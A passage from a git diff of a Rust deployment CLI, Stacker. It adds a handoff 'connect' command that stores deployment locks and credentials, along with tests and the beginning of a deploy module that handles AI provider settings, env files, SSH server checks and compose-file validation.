assert!(payload_json.get("os").is_some()); + assert!(payload_json.get("selected_plan").is_some()); + assert!(payload_json.get("payment_type").is_some()); + assert!(payload_json.get("subscriptions").is_some()); + assert!(payload_json.get("stack_code").is_some()); + assert_eq!( + payload_json.get("stack_code").and_then(|v| v.as_str()), + Some("registered-stack-code") + ); + + let updated = StackerConfig::from_file(Path::new(&config_path)).unwrap(); + assert_eq!(updated.deploy.target, DeployTarget::Cloud); + let cloud = updated.deploy.cloud.unwrap(); + assert_eq!(cloud.orchestrator, CloudOrchestrator::Remote); + assert_eq!( + cloud.remote_payload_file.as_deref(), + Some(Path::new("stacker.remote.deploy.json")) + ); + } + + #[test] + fn test_try_fix_raw_path_issues_removes_empty_path_fields() { + let dir = tempfile::TempDir::new().unwrap(); + let config_path = write_config( + dir.path(), + r#" +name: broken-paths +app: + type: static + path: +deploy: + target: server + server: + host: example.com + ssh_key: +"#, + ); + + let applied = try_fix_raw_path_issues(&config_path).unwrap(); + assert!(applied.iter().any(|item| item.contains("app.path"))); + assert!(applied + .iter() + .any(|item| item.contains("deploy.server.ssh_key"))); + + let fixed = std::fs::read_to_string(&config_path).unwrap(); + assert!(!fixed.contains("path: null")); + assert!(!fixed.contains("ssh_key: null")); + } + + #[test] + fn test_run_fix_interactive_reports_non_string_path_fields() { + let dir = tempfile::TempDir::new().unwrap(); + let config_path = write_config( + dir.path(), + r#" +name: broken-paths +app: + type: static + path: {} +"#, + ); + + let err = run_fix_interactive(&config_path).unwrap_err(); + let msg = err.to_string(); + assert!(msg.contains("app.path"), "unexpected message: {msg}"); + assert!( + msg.contains("quoted path string"), + "unexpected message: {msg}" + ); + } + + #[test] + fn test_run_setup_ai_configures_ollama_without_removing_existing_config() { + let dir = tempfile::TempDir::new().unwrap(); + let config_path = write_config( + dir.path(), + r#" +name: ai-app +app: + type: static +deploy: + target: local +env: + KEEP_ME: "true" +"#, + ); + + let applied = run_setup_ai( + &config_path, + AiSetupOptions { + provider: Some("ollama"), + endpoint: Some("http://localhost:11434"), + model: Some("llama3.1"), + timeout: Some(120), + tasks: &["dockerfile,compose".to_string()], + }, + ) + .unwrap(); + + assert!(applied.iter().any(|item| item.contains("ai.provider"))); + let updated = StackerConfig::from_file(Path::new(&config_path)).unwrap(); + assert!(updated.ai.enabled); + assert_eq!(updated.ai.provider, AiProviderType::Ollama); + assert_eq!( + updated.ai.endpoint.as_deref(), + Some("http://localhost:11434") + ); + assert_eq!(updated.ai.model.as_deref(), Some("llama3.1")); + assert_eq!(updated.ai.timeout, 120); + assert_eq!(updated.ai.tasks, vec!["dockerfile", "compose"]); + assert_eq!(updated.env.get("KEEP_ME").map(String::as_str), Some("true")); + } +} diff --git a/stacker/stacker/src/console/commands/cli/connect.rs b/stacker/stacker/src/console/commands/cli/connect.rs new file mode 100644 index 0000000..38df256 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/connect.rs @@ -0,0 +1,398 @@ +use crate::cli::config_parser::StackerConfig; +use crate::cli::credentials::{ + CredentialStore, CredentialsManager, FileCredentialStore, StoredCredentials, +}; +use crate::cli::deployment_lock::DeploymentLock; +use crate::cli::error::CliError; +use crate::cli::stacker_client::{StackerClient, DEFAULT_STACKER_URL}; +use crate::console::commands::cli::init::{generate_config, DEFAULT_CONFIG_FILE}; +use crate::console::commands::CallableTrait; +use crate::handoff::{ + DeploymentHandoffCredentials, DeploymentHandoffPayload, DeploymentHandoffProject, +}; +use chrono::{DateTime, Utc}; +use dialoguer::Confirm; +use std::io::{self, IsTerminal}; +use std::path::Path; + +pub struct ConnectCommand { + pub handoff: String, +} + +impl ConnectCommand { + pub fn new(handoff: String) -> Self { + Self { handoff } + } +} + +impl CallableTrait for ConnectCommand { + fn call(&self) -> Result<(), Box> { + let token = extract_handoff_token(&self.handoff)?; + let base_url = extract_handoff_base_url(&self.handoff); + let project_dir = std::env::current_dir()?; + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)) + })?; + let payload = rt.block_on(StackerClient::resolve_handoff(&base_url, &token))?; + let is_account_scoped = payload.is_account_scoped(); + let deployment_hash = payload.deployment.hash.clone(); + + hydrate_project_dir(project_dir.as_path(), &payload)?; + if is_account_scoped { + eprintln!("✓ Signed in to Stacker CLI"); + match maybe_bootstrap_account_project_dir(project_dir.as_path()) { + Ok(AccountBootstrapOutcome::ExistingConfig(path)) => { + eprintln!(" Found existing {}", path.display()); + eprintln!(" You can now run: stacker deploy"); + } + Ok(AccountBootstrapOutcome::CreatedConfig(path)) => { + match StackerConfig::from_file(&path) { + Ok(config) => { + eprintln!( + " Created {} for the detected {} project", + path.display(), + config.app.app_type + ); + eprintln!(" Review the generated config, then run: stacker deploy"); + } + Err(err) => { + eprintln!( + " Created {}, but failed to re-read it: {}", + path.display(), + err + ); + eprintln!(" Review the file, then run: stacker deploy"); + } + } + } + Ok(AccountBootstrapOutcome::Skipped) => { + eprintln!(" You can now run: stacker init"); + } + Err(err) => { + eprintln!(" Automatic project bootstrap skipped: {}", err); + eprintln!(" You can still run: stacker init"); + } + } + } else { + eprintln!( + "✓ Connected deployment {} to this directory", + deployment_hash + ); + eprintln!(" You can now run: stacker status"); + } + Ok(()) + } +} + +fn extract_handoff_base_url(input: &str) -> String { + if let Ok(url) = reqwest::Url::parse(input) { + let scheme = url.scheme(); + if let Some(host) = url.host_str() { + if let Some(port) = url.port() { + return format!("{}://{}:{}", scheme, host, port); + } + return format!("{}://{}", scheme, host); + } + } + DEFAULT_STACKER_URL.to_string() +} + +fn extract_handoff_token(input: &str) -> Result { + let trimmed = input.trim(); + if trimmed.is_empty() { + return Err(CliError::ConfigValidation( + "Handoff token or URL is required".to_string(), + )); + } + + if let Some(token) = trimmed.strip_prefix("stacker://handoff/") { + return Ok(token.to_string()); + } + + if let Ok(url) = reqwest::Url::parse(trimmed) { + if let Some(fragment) = url.fragment() { + if !fragment.trim().is_empty() { + return Ok(fragment.to_string()); + } + } + if let Some(last) = url + .path_segments() + .and_then(|segments| segments.filter(|segment| !segment.is_empty()).last()) + { + if last != "handoff" { + return Ok(last.to_string()); + } + } + } + + Ok(trimmed.to_string()) +} + +fn hydrate_project_dir( + project_dir: &Path, + payload: &DeploymentHandoffPayload, +) -> Result<(), CliError> { + let manager = CredentialsManager::::with_default_store(); + hydrate_project_dir_with_manager(project_dir, payload, &manager) +} + +fn hydrate_project_dir_with_manager( + project_dir: &Path, + payload: &DeploymentHandoffPayload, + manager: &CredentialsManager, +) -> Result<(), CliError> { + if payload.is_account_scoped() { + let credentials = payload.credentials.as_ref().ok_or_else(|| { + CliError::ConfigValidation("Account handoff payload missing credentials".to_string()) + })?; + return save_handoff_credentials_with_manager(manager, credentials); + } + + let lock: DeploymentLock = serde_json::from_value(payload.lockfile.clone()).map_err(|e| { + CliError::ConfigValidation(format!("Invalid deployment lock in handoff payload: {}", e)) + })?; + lock.save(project_dir)?; + + let stacker_yml_path = project_dir.join(DEFAULT_CONFIG_FILE); + if !stacker_yml_path.exists() { + let contents = payload.stacker_yml.clone().unwrap_or_else(|| { + render_default_stacker_yml(&payload.project, &payload.deployment.hash) + }); + std::fs::write(&stacker_yml_path, contents).map_err(CliError::Io)?; + } + + if let Some(credentials) = payload.credentials.as_ref() { + save_handoff_credentials_with_manager(manager, credentials)?; + } + + Ok(()) +} + +fn render_default_stacker_yml(project: &DeploymentHandoffProject, deployment_hash: &str) -> String { + format!( + "name: {}\nproject:\n identity: {}\ndeploy:\n target: cloud\n deployment_hash: {}\n", + yaml_string(&project.name), + yaml_string(project.identity.as_deref().unwrap_or(&project.name)), + yaml_string(deployment_hash) + ) +} + +fn yaml_string(value: &str) -> String { + serde_yaml::to_string(value) + .map(|yaml| yaml.trim().to_string()) + .unwrap_or_else(|_| format!("{:?}", value)) +} + +fn save_handoff_credentials_with_manager( + manager: &CredentialsManager, + credentials: &DeploymentHandoffCredentials, +) -> Result<(), CliError> { + let stored = StoredCredentials { + access_token: credentials.access_token.clone(), + refresh_token: None, + token_type: credentials.token_type.clone(), + expires_at: identity_expiry(credentials.expires_at), + email: credentials.email.clone(), + server_url: credentials.server_url.clone(), + org: None, + domain: None, + }; + manager.save(&stored) +} + +fn identity_expiry(expires_at: DateTime) -> DateTime { + expires_at +} + +#[derive(Debug, PartialEq, Eq)] +enum AccountBootstrapOutcome { + ExistingConfig(std::path::PathBuf), + CreatedConfig(std::path::PathBuf), + Skipped, +} + +fn maybe_bootstrap_account_project_dir( + project_dir: &Path, +) -> Result { + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + if config_path.exists() { + return Ok(AccountBootstrapOutcome::ExistingConfig(config_path)); + } + + if !io::stdin().is_terminal() { + return Ok(AccountBootstrapOutcome::Skipped); + } + + let create_config = Confirm::new() + .with_prompt("No stacker.yml found. Create one now using detected project defaults?") + .default(true) + .interact() + .map_err(|e| CliError::ConfigValidation(format!("Prompt error: {}", e)))?; + + bootstrap_account_project_dir(project_dir, create_config) +} + +fn bootstrap_account_project_dir( + project_dir: &Path, + create_config: bool, +) -> Result { + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + if config_path.exists() { + return Ok(AccountBootstrapOutcome::ExistingConfig(config_path)); + } + + if !create_config { + return Ok(AccountBootstrapOutcome::Skipped); + } + + let created_path = generate_config(project_dir, None, false, false)?; + Ok(AccountBootstrapOutcome::CreatedConfig(created_path)) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::credentials::FileCredentialStore; + use crate::handoff::{ + DeploymentHandoffDeployment, DeploymentHandoffKind, DeploymentHandoffPayload, + }; + use chrono::Duration; + use tempfile::TempDir; + + #[test] + fn extracts_token_from_handoff_url_fragment() { + let token = + extract_handoff_token("https://stacker.try.direct/handoff#abc123-token").unwrap(); + assert_eq!(token, "abc123-token"); + } + + #[test] + fn hydrates_project_dir_from_payload() { + let temp_dir = TempDir::new().unwrap(); + let config_home = TempDir::new().unwrap(); + let manager = CredentialsManager::new(FileCredentialStore::new( + config_home.path().join("stacker").join("credentials.json"), + )); + let payload = DeploymentHandoffPayload { + kind: DeploymentHandoffKind::Deployment, + version: 1, + expires_at: Utc::now() + Duration::minutes(5), + project: DeploymentHandoffProject { + id: 7, + name: "demo".to_string(), + identity: Some("demo".to_string()), + }, + deployment: DeploymentHandoffDeployment { + id: 12, + hash: "dep-123".to_string(), + target: "cloud".to_string(), + status: "running".to_string(), + }, + server: None, + cloud: None, + lockfile: serde_json::json!({ + "target": "cloud", + "server_ip": "127.0.0.1", + "ssh_user": "root", + "ssh_port": 22, + "server_name": "demo", + "deployment_id": 12, + "project_id": 7, + "cloud_id": 9, + "project_name": "demo", + "deployed_at": "2026-04-12T10:00:00Z" + }), + stacker_yml: Some("name: demo\n".to_string()), + agent: None, + credentials: Some(DeploymentHandoffCredentials { + access_token: "token-1".to_string(), + token_type: "Bearer".to_string(), + expires_at: Utc::now() + Duration::minutes(5), + email: Some("demo@example.com".to_string()), + server_url: Some("https://stacker.try.direct".to_string()), + }), + }; + + hydrate_project_dir_with_manager(temp_dir.path(), &payload, &manager).unwrap(); + + assert!(temp_dir.path().join("stacker.yml").exists()); + let lock = DeploymentLock::load(temp_dir.path()).unwrap().unwrap(); + assert_eq!(lock.deployment_id, Some(12)); + assert_eq!(lock.project_name.as_deref(), Some("demo")); + } + + #[test] + fn account_scoped_handoff_skips_project_hydration() { + let temp_dir = TempDir::new().unwrap(); + let config_home = TempDir::new().unwrap(); + let store_path = config_home.path().join("stacker").join("credentials.json"); + let manager = CredentialsManager::new(FileCredentialStore::new(store_path.clone())); + let payload = DeploymentHandoffPayload { + kind: DeploymentHandoffKind::Account, + version: 1, + expires_at: Utc::now() + Duration::hours(2), + project: DeploymentHandoffProject { + id: 0, + name: "user@example.com".to_string(), + identity: Some("user@example.com".to_string()), + }, + deployment: DeploymentHandoffDeployment { + id: 0, + hash: String::new(), + target: "account".to_string(), + status: "ready".to_string(), + }, + server: None, + cloud: None, + lockfile: serde_json::json!({}), + stacker_yml: None, + agent: None, + credentials: Some(DeploymentHandoffCredentials { + access_token: "token-1".to_string(), + token_type: "Bearer".to_string(), + expires_at: Utc::now() + Duration::hours(4), + email: Some("demo@example.com".to_string()), + server_url: Some("https://stacker.try.direct".to_string()), + }), + }; + + hydrate_project_dir_with_manager(temp_dir.path(), &payload, &manager).unwrap(); + + assert!(!temp_dir.path().join("stacker.yml").exists()); + assert!(DeploymentLock::load(temp_dir.path()).unwrap().is_none()); + assert!(store_path.exists()); + } + + #[test] + fn bootstrap_account_project_creates_config_when_requested() { + let temp_dir = TempDir::new().unwrap(); + std::fs::write(temp_dir.path().join("package.json"), "{}").unwrap(); + + let outcome = bootstrap_account_project_dir(temp_dir.path(), true).unwrap(); + + let config_path = temp_dir.path().join(DEFAULT_CONFIG_FILE); + assert_eq!( + outcome, + AccountBootstrapOutcome::CreatedConfig(config_path.clone()) + ); + let config = StackerConfig::from_file(&config_path).unwrap(); + assert_eq!(config.app.app_type.to_string(), "node"); + } + + #[test] + fn bootstrap_account_project_keeps_existing_config() { + let temp_dir = TempDir::new().unwrap(); + let config_path = temp_dir.path().join(DEFAULT_CONFIG_FILE); + std::fs::write(&config_path, "name: demo\napp:\n type: static\n").unwrap(); + + let outcome = bootstrap_account_project_dir(temp_dir.path(), true).unwrap(); + + assert_eq!( + outcome, + AccountBootstrapOutcome::ExistingConfig(config_path) + ); + } +} diff --git a/stacker/stacker/src/console/commands/cli/deploy.rs b/stacker/stacker/src/console/commands/cli/deploy.rs new file mode 100644 index 0000000..4f75f9a --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/deploy.rs @@ -0,0 +1,5204 @@ +use std::convert::TryFrom; +use std::io::IsTerminal; +use std::path::{Path, PathBuf}; +use std::time::Duration; + +use crate::cli::ai_client::{ + build_prompt, create_provider, ollama_complete_streaming, AiTask, PromptContext, +}; +use crate::cli::cloud_env; +#[cfg(test)] +use crate::cli::compose_targets::extract_compose_secret_target_services; +use crate::cli::config_bundle::build_config_bundle; +use crate::cli::config_parser::{ + AiProviderType, CloudConfig, CloudOrchestrator, CloudProvider, DeployTarget, RegistryConfig, + ServerConfig, StackerConfig, +}; +use crate::cli::credentials::{CredentialStore, CredentialsManager, StoredCredentials}; +use crate::cli::deployment_lock::DeploymentLock; +use crate::cli::error::CliError; +use crate::cli::generator::compose::ComposeDefinition; +use crate::cli::generator::dockerfile::DockerfileBuilder; +use crate::cli::install_runner::{ + resolve_docker_registry_credentials, strategy_for, CommandExecutor, DeployContext, + DeployResult, ShellExecutor, +}; +use crate::cli::progress; +use crate::cli::stacker_client::{self, StackerClient}; +use crate::console::commands::CallableTrait; +use crate::helpers::ip::extract_ipv4_from_text; +use crate::helpers::ssh_client; + +/// Default config filename. +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +/// Output directory for generated artifacts. +const OUTPUT_DIR: &str = ".stacker"; + +fn parse_ai_provider(s: &str) -> Result { + let json = format!("\"{}\"", s.trim().to_lowercase()); + serde_json::from_str::(&json).map_err(|_| { + CliError::ConfigValidation( + "Unknown AI provider. Use: openai, anthropic, ollama, custom".to_string(), + ) + }) +} + +fn resolve_ai_from_env_or_config( + project_dir: &Path, + config_file: Option<&str>, +) -> Result { + let config_path = match config_file { + Some(f) => project_dir.join(f), + None => project_dir.join(DEFAULT_CONFIG_FILE), + }; + + let mut ai = if config_path.exists() { + StackerConfig::from_file(&config_path)?.ai + } else { + Default::default() + }; + + if let Ok(provider) = std::env::var("STACKER_AI_PROVIDER") { + ai.provider = parse_ai_provider(&provider)?; + ai.enabled = true; + } + + if let Ok(model) = std::env::var("STACKER_AI_MODEL") { + if !model.trim().is_empty() { + ai.model = Some(model); + ai.enabled = true; + } + } + + if let Ok(endpoint) = std::env::var("STACKER_AI_ENDPOINT") { + if !endpoint.trim().is_empty() { + ai.endpoint = Some(endpoint); + ai.enabled = true; + } + } + + if let Ok(timeout) = std::env::var("STACKER_AI_TIMEOUT") { + if let Ok(value) = timeout.parse::() { + ai.timeout = value; + ai.enabled = true; + } + } + + if let Ok(generic_key) = std::env::var("STACKER_AI_API_KEY") { + if !generic_key.trim().is_empty() { + ai.api_key = Some(generic_key); + ai.enabled = true; + } + } + + if ai.api_key.is_none() { + match ai.provider { + AiProviderType::Openai => { + if let Ok(key) = std::env::var("OPENAI_API_KEY") { + if !key.trim().is_empty() { + ai.api_key = Some(key); + ai.enabled = true; + } + } + } + AiProviderType::Anthropic => { + if let Ok(key) = std::env::var("ANTHROPIC_API_KEY") { + if !key.trim().is_empty() { + ai.api_key = Some(key); + ai.enabled = true; + } + } + } + _ => {} + } + } + + Ok(ai) +} + +fn fallback_troubleshooting_hints(reason: &str) -> Vec { + let lower = reason.to_lowercase(); + let mut hints = Vec::new(); + + if lower.contains("npm ci") { + hints.push( + "npm ci failed: ensure package-lock.json exists and is in sync with package.json" + .to_string(), + ); + hints.push( + "Try locally: npm ci --production (or npm ci) to see the full dependency error" + .to_string(), + ); + } + if lower.contains("the attribute `version` is obsolete") + || lower.contains("attribute `version` is obsolete") + { + hints.push("docker-compose version warning: remove top-level 'version:' from .stacker/docker-compose.yml".to_string()); + } + if lower.contains("failed to solve") { + hints.push("Docker build step failed: inspect the failing Dockerfile line and run docker build manually for verbose output".to_string()); + } + if lower.contains("permission denied") || lower.contains("eacces") { + hints.push("Permission issue detected: verify file ownership and executable bits for scripts copied into the image".to_string()); + } + if lower.contains("no such file") || lower.contains("not found") { + hints.push( + "Missing file in build context: confirm COPY paths and .dockerignore rules".to_string(), + ); + } + if lower.contains("network") || lower.contains("timed out") { + hints.push( + "Network/timeout issue: retry build and verify registry connectivity".to_string(), + ); + } + if lower.contains("port is already allocated") + || lower.contains("bind for 0.0.0.0") + || lower.contains("failed programming external connectivity") + { + hints.push("Port conflict: another process/container already uses this host port (for example 3000).".to_string()); + hints.push("Find the owner with: lsof -nP -iTCP:3000 -sTCP:LISTEN".to_string()); + hints.push("Then stop it (docker compose down / docker rm -f ) or change ports in stacker.yml".to_string()); + } + if lower.contains("remote orchestrator request failed") + && lower.contains("http error") + && lower.contains("404") + && (lower.contains(" .) or use an existing published tag".to_string()); + } + hints.push("Alternative: remove app.image in stacker.yml so Stacker generates/uses a local build context".to_string()); + } + + if hints.is_empty() { + hints.push("Run docker compose -f .stacker/docker-compose.yml build --no-cache for detailed build logs".to_string()); + hints.push("Inspect .stacker/Dockerfile and .stacker/docker-compose.yml for invalid paths and commands".to_string()); + hints.push( + "If the issue is dependency-related, run the failing install command locally first" + .to_string(), + ); + } + + hints +} + +fn extract_missing_image(reason: &str) -> Option { + for marker in ["manifest for ", "pull access denied for "] { + if let Some(start) = reason.find(marker) { + let image_start = start + marker.len(); + let tail = &reason[image_start..]; + let image = tail + .split(|c: char| c.is_whitespace() || c == ',' || c == '\n') + .next() + .unwrap_or("") + .trim_matches('"') + .to_string(); + if !image.is_empty() { + return Some(image); + } + } + } + None +} + +fn ensure_env_file_if_needed(config: &StackerConfig, project_dir: &Path) -> Result<(), CliError> { + let Some(env_file) = &config.env_file else { + return Ok(()); + }; + + let env_path = resolve_project_relative_path(project_dir, env_file); + ensure_env_file_from_example(&env_path, "stacker.yml env_file") +} + +fn resolve_project_relative_path(project_dir: &Path, path: &Path) -> PathBuf { + if path.is_absolute() { + path.to_path_buf() + } else { + project_dir.join(path) + } +} + +fn ensure_env_file_from_example(env_path: &Path, source: &str) -> Result<(), CliError> { + if env_path.exists() { + return Ok(()); + } + + let file_name = env_path.file_name().and_then(|name| name.to_str()); + let example_path = match file_name { + Some(".env") => env_path.with_file_name(".env.example"), + Some(name) => env_path.with_file_name(format!("{name}.example")), + None => env_path.with_extension("example"), + }; + + if example_path.exists() && file_name == Some(".env") { + if let Some(parent) = env_path.parent() { + std::fs::create_dir_all(parent)?; + } + std::fs::copy(&example_path, env_path)?; + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + std::fs::set_permissions(env_path, std::fs::Permissions::from_mode(0o600))?; + } + eprintln!( + " Created {} from {} for {} (mode 0600 where supported)", + env_path.display(), + example_path.display(), + source + ); + return Ok(()); + } + + Err(CliError::ConfigValidation(format!( + "Missing env file referenced by {source}: {}. Create it or, for the common .env case, add {} and rerun `stacker deploy`.", + env_path.display(), + example_path.display() + ))) +} + +fn collect_compose_env_file_paths(compose_path: &Path) -> Result, CliError> { + let raw = std::fs::read_to_string(compose_path)?; + let doc: serde_yaml::Value = serde_yaml::from_str(&raw) + .map_err(|e| CliError::ConfigValidation(format!("Failed to parse compose file: {e}")))?; + let compose_dir = compose_path.parent().unwrap_or_else(|| Path::new(".")); + let mut paths = Vec::new(); + collect_compose_env_file_paths_from_doc(&doc, compose_dir, &mut paths); + Ok(paths) +} + +fn collect_compose_env_file_paths_from_doc( + doc: &serde_yaml::Value, + compose_dir: &Path, + paths: &mut Vec, +) { + let Some(services) = doc + .as_mapping() + .and_then(|root| root.get(serde_yaml::Value::String("services".to_string()))) + .and_then(serde_yaml::Value::as_mapping) + else { + return; + }; + + for service in services.values() { + let Some(service_map) = service.as_mapping() else { + continue; + }; + let Some(env_file) = service_map.get(serde_yaml::Value::String("env_file".to_string())) + else { + continue; + }; + append_env_file_value_paths(env_file, compose_dir, paths); + } +} + +fn append_env_file_value_paths( + value: &serde_yaml::Value, + compose_dir: &Path, + paths: &mut Vec, +) { + match value { + serde_yaml::Value::String(path) => { + let path = PathBuf::from(path); + paths.push(if path.is_absolute() { + path + } else { + compose_dir.join(path) + }); + } + serde_yaml::Value::Sequence(values) => { + for value in values { + append_env_file_value_paths(value, compose_dir, paths); + } + } + serde_yaml::Value::Mapping(map) => { + if let Some(path) = map + .get(serde_yaml::Value::String("path".to_string())) + .and_then(serde_yaml::Value::as_str) + { + let path = PathBuf::from(path); + paths.push(if path.is_absolute() { + path + } else { + compose_dir.join(path) + }); + } + } + _ => {} + } +} + +fn ensure_compose_env_files_if_needed(compose_path: &Path) -> Result<(), CliError> { + for env_path in collect_compose_env_file_paths(compose_path)? { + ensure_env_file_from_example(&env_path, "compose env_file")?; + } + Ok(()) +} + +/// SSH connection timeout for server pre-check (seconds). +const SSH_CHECK_TIMEOUT_SECS: u64 = 4; + +/// Resolve the path to an SSH key, expanding `~` to the user's home directory. +fn resolve_ssh_key_path(key_path: &Path) -> PathBuf { + let path_str = key_path.to_string_lossy(); + if path_str.starts_with("~/") { + if let Ok(home) = std::env::var("HOME") { + return PathBuf::from(home).join(&path_str[2..]); + } + } + key_path.to_path_buf() +} + +/// Try SSH connection to the server defined in `deploy.server` and return +/// the system check result. Returns `None` if no server section is configured +/// or if the SSH key cannot be read. +fn try_ssh_server_check(server: &ServerConfig) -> Option { + let ssh_key_path = match &server.ssh_key { + Some(key) => resolve_ssh_key_path(key), + None => { + // Try default SSH key locations + let home = match std::env::var("HOME") { + Ok(h) => PathBuf::from(h), + Err(_) => { + eprintln!(" Cannot determine home directory for SSH key lookup"); + return None; + } + }; + let candidates = [home.join(".ssh/id_ed25519"), home.join(".ssh/id_rsa")]; + match candidates.iter().find(|p| p.exists()) { + Some(p) => p.clone(), + None => { + eprintln!(" No SSH key specified and no default key found (~/.ssh/id_ed25519 or ~/.ssh/id_rsa)"); + return None; + } + } + } + }; + + let key_content = match std::fs::read_to_string(&ssh_key_path) { + Ok(content) => content, + Err(e) => { + eprintln!(" Cannot read SSH key {}: {}", ssh_key_path.display(), e); + return None; + } + }; + + let rt = match tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + { + Ok(rt) => rt, + Err(e) => { + eprintln!(" Failed to initialize async runtime for SSH check: {}", e); + return None; + } + }; + + let result = rt.block_on(ssh_client::check_server( + &server.host, + server.port, + &server.user, + &key_content, + Duration::from_secs(SSH_CHECK_TIMEOUT_SECS), + )); + + Some(result) +} + +/// Print a helpful message when the existing server is not reachable, +/// suggesting how to fix or proceed with a new cloud server. +fn print_server_unreachable_hint(server: &ServerConfig, check: &ssh_client::SystemCheckResult) { + eprintln!(); + eprintln!(" ╭─ Existing server check failed ──────────────────────────────────╮"); + eprintln!(" │ Host: {}:{}", server.host, server.port); + eprintln!(" │ User: {}", server.user); + if let Some(ref err) = check.error { + eprintln!(" │ Error: {}", err); + } + eprintln!(" ├─────────────────────────────────────────────────────────────────┤"); + eprintln!(" │ To deploy to this server, fix the connection issue and retry: │"); + eprintln!(" │ │"); + if let Some(ref key) = server.ssh_key { + eprintln!( + " │ ssh -i {} -p {} {}@{}", + key.display(), + server.port, + server.user, + server.host + ); + } else { + eprintln!( + " │ ssh -p {} {}@{}", + server.port, server.user, server.host + ); + } + eprintln!(" │ │"); + eprintln!(" │ Or, to provision a new cloud server instead, remove the │"); + eprintln!(" │ 'server' section from stacker.yml and re-run: │"); + eprintln!(" │ │"); + eprintln!(" │ stacker deploy --target cloud │"); + eprintln!(" ╰─────────────────────────────────────────────────────────────────╯"); + eprintln!(); +} + +fn normalize_generated_compose_paths(compose_path: &Path) -> Result<(), CliError> { + let is_stacker_compose = compose_path + .components() + .any(|c| c.as_os_str() == OUTPUT_DIR); + + if !is_stacker_compose || !compose_path.exists() { + return Ok(()); + } + + let raw = std::fs::read_to_string(compose_path)?; + let mut doc: serde_yaml::Value = serde_yaml::from_str(&raw) + .map_err(|e| CliError::ConfigValidation(format!("Failed to parse compose file: {e}")))?; + + let mut changed = false; + + if let serde_yaml::Value::Mapping(ref mut root) = doc { + // Remove obsolete compose version key. + if root + .remove(serde_yaml::Value::String("version".to_string())) + .is_some() + { + changed = true; + } + + let services_key = serde_yaml::Value::String("services".to_string()); + if let Some(serde_yaml::Value::Mapping(services)) = root.get_mut(&services_key) { + for (service_key, service_value) in services.iter_mut() { + let service_name = service_key.as_str().unwrap_or(""); + let service_map = match service_value { + serde_yaml::Value::Mapping(m) => m, + _ => continue, + }; + + let build_key = serde_yaml::Value::String("build".to_string()); + let build_val = match service_map.get_mut(&build_key) { + Some(v) => v, + None => continue, + }; + + let build_map = match build_val { + serde_yaml::Value::Mapping(m) => m, + _ => continue, + }; + + let context_key = serde_yaml::Value::String("context".to_string()); + let dockerfile_key = serde_yaml::Value::String("dockerfile".to_string()); + + let current_context = build_map + .get(&context_key) + .and_then(|v| v.as_str()) + .unwrap_or(".") + .to_string(); + + let dockerfile = build_map + .get(&dockerfile_key) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + + let dockerfile_points_to_stacker = dockerfile + .as_deref() + .map(|d| d.starts_with(".stacker/")) + .unwrap_or(false); + + if dockerfile_points_to_stacker + && (current_context == "." || current_context == "./") + { + build_map.insert( + context_key.clone(), + serde_yaml::Value::String("..".to_string()), + ); + changed = true; + } + + if service_name == "app" && (current_context == "." || current_context == "./") { + build_map.insert(context_key, serde_yaml::Value::String("..".to_string())); + + let dockerfile_needs_rewrite = match dockerfile.as_deref() { + None => true, + Some("Dockerfile") | Some("./Dockerfile") => true, + _ => false, + }; + + if dockerfile_needs_rewrite { + build_map.insert( + dockerfile_key, + serde_yaml::Value::String(".stacker/Dockerfile".to_string()), + ); + } + + changed = true; + } + } + } + } + + if changed { + let updated = serde_yaml::to_string(&doc).map_err(|e| { + CliError::ConfigValidation(format!("Failed to serialize compose file: {e}")) + })?; + std::fs::write(compose_path, updated)?; + eprintln!(" Normalized {}/docker-compose.yml paths", OUTPUT_DIR); + } + + Ok(()) +} + +fn validate_compose_for_deploy(compose_path: &Path) -> Result<(), CliError> { + let raw = std::fs::read_to_string(compose_path)?; + let doc: serde_yaml::Value = serde_yaml::from_str(&raw) + .map_err(|e| CliError::ConfigValidation(format!("Failed to parse compose file: {e}")))?; + + let root = match doc { + serde_yaml::Value::Mapping(m) => m, + _ => { + return Err(CliError::ConfigValidation( + "Compose file must be a YAML mapping at the top level".to_string(), + )) + } + }; + + let services_key = serde_yaml::Value::String("services".to_string()); + let include_key = serde_yaml::Value::String("include".to_string()); + let services = match root.get(&services_key) { + Some(serde_yaml::Value::Mapping(m)) => Some(m), + _ => None, + }; + + if services.is_none() { + match root.get(&include_key) { + Some(serde_yaml::Value::Sequence(_)) | Some(serde_yaml::Value::String(_)) => { + return Ok(()); + } + _ => { + return Err(CliError::ConfigValidation( + "Compose file must define a top-level services mapping".to_string(), + )) + } + } + } + + let services = services.expect("services checked above"); + + let mut published_ports: std::collections::BTreeMap> = + std::collections::BTreeMap::new(); + + for (service_key, service_value) in services { + let service_name = service_key.as_str().unwrap_or("").to_string(); + let service_map = match service_value { + serde_yaml::Value::Mapping(m) => m, + _ => continue, + }; + + let ports_key = serde_yaml::Value::String("ports".to_string()); + let Some(serde_yaml::Value::Sequence(ports)) = service_map.get(&ports_key) else { + continue; + }; + + for port in ports { + if let Some(host_port) = extract_published_host_port(port) { + published_ports + .entry(host_port) + .or_default() + .push(service_name.clone()); + } + } + } + + let collisions: Vec = published_ports + .into_iter() + .filter_map(|(port, services)| { + if services.len() > 1 { + Some(format!( + "port {} is published by {}", + port, + services.join(", ") + )) + } else { + None + } + }) + .collect(); + + if collisions.is_empty() { + Ok(()) + } else { + Err(CliError::ConfigValidation(format!( + "Compose file has conflicting published host ports: {}", + collisions.join("; ") + ))) + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +struct ComposeImageRef { + image: String, + service_name: String, + source_path: PathBuf, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +struct DockerHubImageTarget { + original: String, + namespace: Option, + repository: String, + tag: String, +} + +impl DockerHubImageTarget { + fn display_name(&self) -> String { + match &self.namespace { + Some(namespace) => format!("docker.io/{}/{}:{}", namespace, self.repository, self.tag), + None => format!("docker.io/library/{}:{}", self.repository, self.tag), + } + } +} + +#[derive(Debug, Clone, PartialEq, Eq)] +struct 